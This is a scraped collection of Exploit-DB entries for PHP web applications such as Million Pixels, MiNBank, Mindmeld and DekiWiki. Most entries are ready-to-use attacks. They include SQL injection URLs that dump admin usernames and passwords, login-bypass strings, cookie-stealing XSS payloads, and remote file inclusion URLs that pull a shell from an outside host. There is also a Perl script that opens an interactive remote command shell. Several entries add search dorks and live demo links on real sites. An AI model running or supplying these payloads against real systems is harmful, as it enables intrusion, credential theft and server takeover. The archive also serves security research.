deardaniel/secdata-raw huggingface dataset:
Exploit-DB #6044
Description: Million Pixels 3 - 'id_cat' SQL Injection
Type: webapps
Platform: php
Date: 2008-07-11
Author: Hussin X

Exploit:
#################################################################
#
#   Million Pixels 3 (id_cat) Remote SQL Injection Vulnerability
#
#========================================================
#                                                       =
#    Author: Hussin X                                   =
#                                                       =
#    Home :  www.tryag.cc/cc
#                                                       =
#    email:  darkangel_g85[at]Yahoo[DoT]com             =
#                                                       =
#                                                       =
#========================================================
#     
# script : http://e-topbiz.com/oprema/pages/millionpixels3.php
#
# DorK  :  inurl: "tops_top.php? id_cat ="     
#################################################################

Exploit:  


www.[target].com/Script/tops_top.php?id_cat=-5/**/UNION/**/SELECT/**/1,concat_ws(0x3a,UserName,Password)/**/from/**/tbl_admins/*




L!VE DEMO:


http://e-topbiz.com/trafficdemos/pixel3/tops_top.php?id_cat=-5/**/UNION/**/SELECT/**/1,concat_ws(0x3a,UserName,Password)/**/from/**/tbl_admins/*




########################( Greetz )###########################
#                                                           #
# tryag.cc / DeViL iRaQ / IRAQ DiveR/ IRAQ_JAGUR /str0ke    #
#                                                           #    
#         Iraqihack / FAHD / mos_chori / Silic0n            #
#                                                           #
#############################################################

                       Im IRAQi

# milw0rm.com [2008-07-11]
Exploit-DB #41081
Description: Million Pixels 3 - Authentication Bypass
Type: webapps
Platform: php
Date: 2017-01-16
Author: Ihsan Sencan

Exploit:
# # # # # 
# Vulnerability: Authentication Bypass
# Date: 16.01.2017
# Vendor Homepage: http://e-topbiz.com/
# Script Name:  Million Pixels 3
# Script Buy Now: http://www.e-topbiz.com/oprema/pages/millionpixels3.php
# Author: İhsan Şencan
# Author Web: http://ihsan.net
# Mail : ihsan[beygir]ihsan[nokta]net
# # # # # 
# http://localhost/[PATH]/admin/ and set Username:'or''=' and Password to 'or''=' and hit enter.
# # # # #
Exploit-DB #9243
Description: Million-Dollar Pixel Ads Platinum - SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-07-24
Author: Moudi

Exploit:
###########################################################################
#-----------------------------I AM MUSLIM !!------------------------------#
###########################################################################

==============================================================================
                      _      _       _          _      _   _ 
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                             

==============================================================================
        [Â»] [!] Coder - Developer HTML / CSS / PHP / Vb6 . [!]
==============================================================================
        [Â»] Million-Dollar Pixel Ads Platinum Multiple Remote Vulnerabilities
==============================================================================

	[Â»] Script:             [ Million-Dollar Pixel Ads Platinum ]
	[Â»] Language:           [ PHP ]
        [Â»] Download:           [ http://www.turnkeysetup.net/details_million-platinum.php  ]
	[Â»] Founder:            [ Moudi <m0udi@9.cn> ]
        [Â»] Thanks to:          [ MiZoZ , ZuKa , str0ke , 599em Man , Security-Shell ...]
        [Â»] Team:               [ EvilWay ]
        [Â»] Dork:               [ OFF ]
        [Â»] Price:              [ $447.97 ]
        [Â»] Site :              [ https://security-shell.ws/forum.php ]

###########################################################################

===[ Exploit + LIVE : SQL INJECTION vulnerability ]===	
	
[Â»] http://www.site.com/patch/search.php?keywords=1&selectcategory=[SQL]&submit=search

[Â»] http://www.turnkeysetup.net/demos/million/search.php?keywords=1&selectcategory=1+union+select+version()--&submit=search

===[ Exploit + LIVE : BLIND SQL vulnerability ]===

[Â»] http://www.site.com/patch/search.php?keywords=1&selectcategory=[BLIND]

[Â»] http://www.turnkeysetup.net/demos/million/search.php?keywords=1&selectcategory=1 and 1=1+union+select+version()--&submit=search

===[ Exploit XSS + LIVE : vulnerability ]===

[Â»] http://www.site.com/patch/buy1.php?category=11&place=[XSS]
[Â»] http://www.site.com/patch/index2.php?category=[XSS]
[Â»] http://www.site.com/patch/search.php?keywords=1&selectcategory=[XSS]

[Â»] http://www.turnkeysetup.net/demos/million/buy1.php?category=11&place="><script>alert(document.cookie);</script>
[Â»] http://www.turnkeysetup.net/demos/million/index2.php?category="><script>alert(document.cookie);</script>
[Â»] http://www.turnkeysetup.net/demos/million/search.php?keywords=1&selectcategory="><script>alert(document.cookie);</script>

Author: Moudi

###########################################################################

# milw0rm.com [2009-07-24]
Exploit-DB #30962
Description: MilliScripts - 'dir.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-12-31
Author: Jose Luis Gangora Fernandez

Exploit:
source: https://www.securityfocus.com/bid/27078/info

MilliScripts is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

http://www.example.com/PATH/dir.php?do=browse&cat=[XSS]
Exploit-DB #26770
Description: MilliScripts 1.4 - 'register.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-12-08
Author: Security Nation

Exploit:
source: https://www.securityfocus.com/bid/15792/info

MilliScripts is prone to a cross-site scripting vulnerability. This is due to a lack of proper input validation.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/red_14/register.php?do=register2&domainname=%22%3E%3Cs
cript%20src=www.example.com/script.js%3E%3C/script%3E&ext=www.example.com
Exploit-DB #11031
Description: Milonic News - 'viewnews' SQL Injection
Type: webapps
Platform: php
Date: 2010-01-06
Author: Err0R

Exploit:
=============================================================================
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
-----------------------------------------------------------------------------
############################################################################
# (+) Title : Milonic News (viewnews) SQL Injection Vulnerability
# (+) Auther: Err0R
# (+) Site : http://sa-hacker.com/vb
# (+) Email : a5q(AT)hotmail(dot)com
############################################################################
-----------------------------------------------------------------------------

# (+) dork : intext:"powered by Milonic" inurl:viewnews.php?id=

-----------------------------------------------------------------------------

# (+) Exploit : /viewnews.php?ID=-136+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14--

Username :/viewnews.php?ID=-136+union+select+1,2,3,4,5,6,7,8,username,10,11,12,13,14+from+renewabl_mhpcompanies.experts--

Passoword: /viewnews.php?ID=-136+union+select+1,2,3,4,5,6,7,8,password,10,11,12,13,14+from+renewabl_mhpwebsite.users--

you come .. control panel
-----------------------------------------------------------------------------

# (+) Greetz To :-
===================================================+
all member in www.Sa-hacker.com/vb |
++++++++++++++++++++++++++++++++++++++++++++ |
Special To :Pepsi & Dr.X3 |
++++++++++++++++++++++++++++++++++++++++++++ |
===================================================+

-----------------------------------------------------------------------------
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Exploit-DB #37290
Description: Milw0rm Clone Script 1.0 - '/admin/login.php' Authentication Bypass
Type: webapps
Platform: php
Date: 2015-06-15
Author: walid naceri

Exploit:
<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
|   Exploit Title: Milw0rm Clone Script v1.0 (Auth Bypass) SQL Injection Vulnerability |
|            Date: 06.13.2015                                                          |
|   Exploit Daddy: Walid Naceri                                                        |
| Vendor Homepage: http://milw0rm.sourceforge.net/                                     |
|   Software Link: http://sourceforge.net/projects/milw0rm/files/milw0rm.rar/download  |
|         Version: v1.0                                                                |
|       Tested On: Kali Linux, Mac, Windows                                            |
|><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><|
| Website exploiter: WwW.security-Dz.Com                                               |
| CALLINGout: 1337day/inj3ct0r Please admit that they got your server haha CIA         |
| Sorry: Sorry pancaker, you missed that one :(                                        |
<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
 
 
 
 
### vuln codez  admin/login.php ###
<?
$usr = htmlspecialchars(trim($_POST['usr'])); ---- what are you doing?
$[CREDENTIAL_REDACTED](trim($_POST['pwd'])); ---- are you sure that you are a programmer?
if($usr && $pwd){
$login = mysql_query("SELECT * FROM `site_info` WHERE `adm_usr`='".$usr."' AND `adm_pwd`='".md5($pwd)."';");
$row = mysql_num_rows($login);
----Bla Bla Bla--------
 
 
 
 
### manual ###
Go to the login admin panel :)

Exploit 1:
USER: ADMIN' OR ''='
PASS: ADMIN' OR ''='

Exploit 2:
USER: ADMIN' OR 1=1#
PASS: Anything Bro :)



### How to fix, learn bro some php again :) ###

$usr = htmlspecialchars(trim(mysql_real_escape_string($_POST['usr'])));
$usr = htmlspecialchars(trim(mysql_real_escape_string($_POST['pwd'])));
Exploit-DB #6632
Description: MiNBank 1.5.0 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2008-09-30
Author: DaRkLiFe

Exploit:
**************************************************************************************

Author : By DaRkLiFe
Greetz : str0ke & S.VV.A.T.

**************************************************************************************
Script   :
Micronation Banking System(minba) 1.5.0
Remote File Inclusion Vulnerability(s)

Download:
http://downloads.sourceforge.net/minbank/minba_v0150.zip?modtime=[PII_REDACTED]&big_mirror=0

**************************************************************************************

Exploit : http://site.com/minba/utility/utdb_access.php?minsoft_path=Shellz?


http://site.com/minba/utility/utgn_message.php?minsoft_path=Shellz?

**************************************************************************************

In Multiple files the vulnerability exists.

I have posted two examples

Vulberable : line 3 : require_once("$minsoft_path/utility/utgn_config.php");
in minba/utility/utgn_message.php file


**************************************************************************************

THANKS ! GREETZ !
**************************************************************************************

# milw0rm.com [2008-09-30]
Exploit-DB #11624
Description: MiNBank 1.5.0 - Remote Command Execution
Type: webapps
Platform: php
Date: 2010-03-03
Author: JosS

Exploit:
#!/usr/bin/perl
####################################################################
# MiNBank 1.5.0 Remote Command Execution Exploit
# download: http://downloads.sourceforge.net/minbank/
#
# Author: Jose Luis Gongora Fernandez 'aka' JosS
# mail: sys-project[at]hotmail[dot]com
# site: http://www.hack0wn.com/
# team: Spanish Hackers Team - [SHT]
#
# Hack0wn Security Project!!
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.
#
####################################################################
#
# "need" allow_url_include = On && register_globals = On
#
#  Attack vector_RFI!: [/minba/utility/utgn_message.php]
#     ...
#      require_once("$minsoft_path/utility/utgn_config.php");
#     ...
#
####################################################################
# OUTPUT: (tested on localhost)
#
# [shell]:~$ id
#  uid=33(www-data) gid=33(www-data) groups=33(www-data)
# [shell]:~$ uname -a
#  Linux h4x0rz 2.6.18-6-686 #1 SMP Fri Dec 12 16:48:28 UTC 2008 i686 GNU/Linux
# [shell]:~$ exit
# h4x0rz:/home/joss/Desktop#


use LWP::UserAgent;
use HTTP::Request;
use LWP::Simple;
use Getopt::Long;

sub clear{
system(($^O eq 'MSWin32') ? 'cls' : 'clear');
}

&clear();

sub banner {
        &clear();
	print "[x] MiNBank 1.5.0 Remote Command Execution Exploit\n";
	print "[x] Written By JosS\n";
	print "[x] sys-project[at]hotmail[dot]com\n\n";
	print "[+] Usage:\n";
	print "[+]     $0 -vuln \"web+path\" -shell \"shell\"\n";
	print "[+] eX: $0 -vuln \"http://www.hack0wn.com/test/\" -shell \"http://hack0wn.com/desc/c99.txt?\"\n\n";
        exit();
}

my $options = GetOptions (
  'help!'            => \$help, 
  'vuln=s'            => \$vuln, 
  'shell=s'            => \$shell
  );

&banner unless ($vuln);
&banner unless ($shell);

&banner if $banner eq 1;

chomp($vuln);
chomp($shell);

while (){

	print "[shell]:~\$ ";
	chomp($cmd=<STDIN>);

	if ($cmd eq "exit" || $cmd eq "quit") {
		exit 0;
	}

	my $ua = LWP::UserAgent->new;
        $iny="?&act=cmd&cmd=" . $cmd . "&d=/&submit=1&cmd_txt=1";
        chomp($iny);
        my $own = $vuln . "/minba/utility/utgn_message.php?minsoft_path=" . $shell . $iny;
        chomp($own);
	my $req = HTTP::Request->new(GET => $own);
	my $res = $ua->request($req);
	my $con = $res->content;
	if ($res->is_success){
		print $1,"\n" if ( $con =~ m/readonly> (.*?)\<\/textarea>/mosix);
	}
           else
             {
                print "[p0c] Exploit failed\n";
                exit(1);
             }
}

# __h0__
Exploit-DB #6819
Description: MindDezign Photo Gallery 2.2 - SQL Injection
Type: webapps
Platform: php
Date: 2008-10-23
Author: CWH Underground

Exploit:
==================================================================================
  MindDezign Photo Gallery 2.2 (index.php id) Remote SQL Injection Vulnerability
==================================================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O	.. CWH Underground ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'

AUTHOR : CWH Underground
DATE   : 23 October 2008
SITE   : cwh.citec.us


#####################################################
APPLICATION : MindDezign Photo Gallery
VERSION	    : 2.2
DOWNLOAD    : http://gallery.minddezign.com/?module=download
#####################################################

--- Remote SQL Injection ---

** Magic Quote must turn off **


[+] Vulnerable in index.php (id)

---------
 Exploit
---------

[+] http://[target]/[gallery_path]/index.php?module=gallery&action=info&cate_id=1&id=-9999'+union+select+1,2,3,4,5,6,7,8,concat(gal_admin_username,0x3a3a,gal_admin_password),10+from+gallery_admin--


#######################################################################################
Greetz      : ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos, Gdiupo, GnuKDE, JK
Special Thx : asylu3, str0ke, citec.us, milw0rm.com
#######################################################################################

# milw0rm.com [2008-10-23]
Exploit-DB #5026
Description: Mindmeld 1.2.0.10 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2008-01-31
Author: David Wharton

Exploit:
Summary

Mindmeld is an, "enterprise-capable knowledge-sharing system" written  
in PHP.  There are multiple remote file inclusion vulnerabilities in  
Mindmeld version 1.2.0.10 (latest version).

Details

1. Vulnerable File and Line:

Mindmeld-1.2.0.10/acweb/admin_index.php: line 51
	require_once ( $MM_GLOBALS['home']."include/utilities.inc" );

PoC:

http://server/mindmeld/acweb/admin_index.php?MM_GLOBALS[home]=http://shell 
_server/shell.php?

---
2. Vulnerable file and line:

Mindmeld-1.2.0.10/include/ask.inc.php: line 34
	require_once ( $MM_GLOBALS['home'] . "interfaces  
{$MM_GLOBALS['interface']}/include/" .  
"interface_{$MM_GLOBALS['interface']}_ask.inc" );

PoC:

http://server/mindmeld/include/ask.inc.php?MM_GLOBALS[home]=http:// 
shell_server/shell.php?php?

---
3. Vulnerable File and Line:

Mindmeld-1.2.0.10/include/learn.inc.php: line 38
	require_once ( $MM_GLOBALS['home'] . "interfaces/ 
{$MM_GLOBALS['interface']}/include/"

PoC:

http://server/mindmeld/include/learn.inc.php?MM_GLOBALS[home]=http://shell 
_server/shell.php?

---
4. Vulnerable File and Line:

Mindmeld-1.2.0.10/include/manage.inc.php: line 31
	require_once ( $MM_GLOBALS['home'] . "interfaces/ 
{$MM_GLOBALS['interface']}/include/"

PoC:

http://server/mindmeld/include/manage.inc.php?MM_GLOBALS[home]=http://shell 
_server/shell.php?

---
5. Vulnerable File and Line:

Mindmeld-1.2.0.10/include/mind.inc.php: line 33
	require_once( $MM_GLOBALS['home'] . 'include/utilities.inc' );

PoC:

http://server/mindmeld/include/mind.inc.php?MM_GLOBALS[home]=http://shell 
_server/shell.php?

---
6. Vulnerable File and Line:

Mindmeld-1.2.0.10/include/sensory.inc.php: line 70
	require_once ( $MM_GLOBALS['home'] . "include/utilities.inc" );

PoC:

http://server/mindmeld/include/sensory.inc.php?MM_GLOBALS[home]=http://shell 
_server/shell.php?

---
It appears that these vulnerabilities are not vulnerable to local file  
includes.

These vulnerabilities have been disclosed to the vendor although  
development on this software has stopped.

Sources:

http://mindmeld.sourceforge.net/

Quick Fix:

In php.ini, disable the following variables: register_globals,  
allow_url_fopen, and allow_url_include.

Credit:

David Wharton

# milw0rm.com [2008-01-31]
Exploit-DB #9826
Description: MindSculpt CMS - SQL Injection
Type: webapps
Platform: php
Date: 2009-09-24
Author: kaMitEz

Exploit:
#############################################################################################################
## MindSculpt's new C[M]S™ Content Management System SQL injection vulnerability - (cid[0])	           ##
## Author : kaMtiEz (kamzcrew@gmail.com)								   ##
## Homepage : http://www.indonesiancoder.com    	     					    	   ##
## Date : September 23, 2009 									   	   ##
#############################################################################################################

#############################################################################################################
# /~~\__/~~\_/~~~~\_/~~\_______/~~\__________________/~~~~~\__                                              #
# /~~\_/~~\___/~~\__/~~\_______/~~\_________________/~~\_/~~\_                                              #
# /~~~~~\_____/~~\__/~~\_______/~~\_______/~~~~~~~\__/~~~~~\__                                              #  
# /~~\_/~~\___/~~\__/~~\_______/~~\____________________/~~\___                                              #
# /~~\__/~~\_/~~~~\_/~~~~~~~~\_/~~~~~~~~\_____________/~~\____                                              #
#____________________________________________________________ -=- KILL-9 CREW -=- INDONESIANCODER -=-       #
#                                                                                                           #
#############################################################################################################

[ Software Information ]

[+] Vendor : http://www.mindsculpt.com/
[+] Download : -
[+] Costs : $500
[+] Vulnerability : SQL injection
[+] Dork : Think iT

#############################################################################################################

[ Vulnerable File ]

http://127.0.0.1/index.php?subj=[INDONESIANCODER]

[ Exploit ]

-666+union+select+1,concat_ws(0x3a,username,hashed_password),3,4,5+from+users--

[ Demo ]

http://www.mindsculpt.com/cms_demo/index.php?subj=-3+union+select+1,concat_ws(0x3a,username,hashed_password),3,4,5+from+users--

[ Thx TO ]

[+] INDONESIAN CODER TEAM KILL-9 CREW KIRIK CREW
[+] tukulesto,M3NW5,arianom,tiw0L,Pathloader,abah_benu,VycOd,och3_an3h
[+] Contrex,onthel,yasea,bugs,olivia,Jovan,Aar,Ardy,invent,Ronz
[+] Coracore,black666girl,NepT,ichal,tengik,Gh4mb4s,rendy,and YOU!!

[ NOTE ] 

[+] Mom and dad i love u .. for my girlfriends thx for your support mwahhhh ^_^
[+] terima kasih banget buat tukulesto dan arianom yang setiap malam menemani saya waktu exploit .. wkwkwkw
[+] -

[ QUOTE ]

[+] kaMtiEz -=- Don Tukulesto -=- M3NW5 -=- 30 hari mencari AuraKasih ....
[+] AURAKASIH I LOVE U FULL arghhhhh ...
Exploit-DB #37634
Description: MindTouch DekiWiki - Multiple Local/Remote File Inclusions
Type: webapps
Platform: php
Date: 2012-08-11
Author: L0n3ly-H34rT

Exploit:
source: https://www.securityfocus.com/bid/54991/info

MindTouch DekiWiki is prone to multiple remote and local file-include vulnerabilities because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary server-side script code that resides on an affected computer or in a remote location with the privileges of the web server process. This may facilitate unauthorized access.

MindTouch DekiWiki 10.1.3 is vulnerable; other versions may also be affected. 

http://www.example.com/deki/web/deki/gui/link.php?IP=http://www.example.com/shell.txt?
http://www.example.com/deki/web/deki/plugins/deki_plugin.php?IP=http://www.example.com/shell.txt?
http://www.example.com/deki/web/deki/plugins/deki_plugin.php?wgDekiPluginPath=http://www.example.com/shell.txt?
http://www.example.com/deki/web/deki/gui/link.php?IP=../../../../../../../../../windows/win.ini%00
http://www.example.com/deki/web/deki/plugins/deki_plugin.php?IP=../../../../../../../../../windows/win.ini%00
http://www.example.com/deki/web/deki/plugins/deki_plugin.php?wgDekiPluginPath=../../../../../../../../../windows/win.ini%00